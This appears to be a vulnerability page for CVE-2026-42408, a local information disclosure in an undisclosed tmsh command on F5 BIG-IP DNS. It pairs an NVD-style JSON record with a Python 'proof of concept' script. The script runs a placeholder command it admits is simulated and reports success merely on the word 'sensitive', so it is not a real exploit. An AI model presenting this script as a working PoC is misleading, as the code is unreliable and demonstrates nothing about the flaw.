CVE-2026-42408

#!/usr/bin/env python3 """ PoC for CVE-2026-42408 Description: Proof of concept to demonstrate information disclosure via tmsh. Requirement: Local access, High privileges (root/admin). """ import subprocess # The vulnerable undisclosed command is simulated here. # In a real scenario, this would be the specific vulnerable tmsh command found in the advisory. VULNERABLE_CMD = "tmsh list /auth user sensitive-key" # Example placeholder command def exploit(): print(f"[*] Attempting to execute command: {VULNERABLE_CMD}") try: # Execute the command on the local BIG-IP system result = subprocess.run(VULNERABLE_CMD, shell=True, check=True, capture_output=True, text=True) output = result.stdout if output and "sensitive" in output.lower(): print("[+] Success! Sensitive information disclosed.") print("--- Output Start ---") print(output) print("--- Output End ---") else: print("[-] Command executed, but no sensitive data found or system is patched.") except subprocess.CalledProcessError as e: print(f"[-] Failed to execute command. Error: {e}") except Exception as e: print(f"[-] An unexpected error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-42408", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:47.647", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed TMOS Shell (tmsh) command that may allow a highly privileged authenticated attacker to view sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-312"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000157981", "source": "[email protected]"}]}}